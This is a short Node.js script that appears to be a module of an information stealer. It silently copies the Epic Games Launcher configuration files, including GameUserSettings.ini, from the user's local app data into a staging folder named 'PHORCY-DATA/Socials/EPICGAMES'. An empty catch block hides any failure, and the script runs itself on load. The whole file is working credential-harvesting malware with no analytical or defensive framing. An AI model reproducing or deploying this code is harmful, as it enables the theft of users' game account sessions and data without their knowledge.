const fsp = require('fs').promises;
const path = require('path');

const config = {
  mainfold: 'PHORCY-DATA',
  local: process.env.LOCALAPPDATA || '',
};
async function seg(config) {
  try {
    const eP = path.join(config.local, 'EpicGamesLauncher', 'Saved', 'Config', 'Windows');
    const cpth = path.join(config.mainfold, 'Socials', 'EPICGAMES');
    await fsp.mkdir(cpth, { recursive: true });
    const ftc = [
      'Compat.ini',
      'DeviceProfiles.ini',
      'Engine.ini',
      'Game.ini',
      'GameUserSettings.ini',
      'Hardware.ini',
      'Input.ini',
      'Lightmass.ini',
      'PortalRegions.ini',
      'RuntimeOptions.ini',
    ];
    await Promise.all(ftc.map(async (file) => {
      const sfp = path.join(eP, file);
      const dfp = path.join(cpth, file);
      await fsp.copyFile(sfp, dfp);
    }));
  } catch (error) {
  }
}
seg(config);
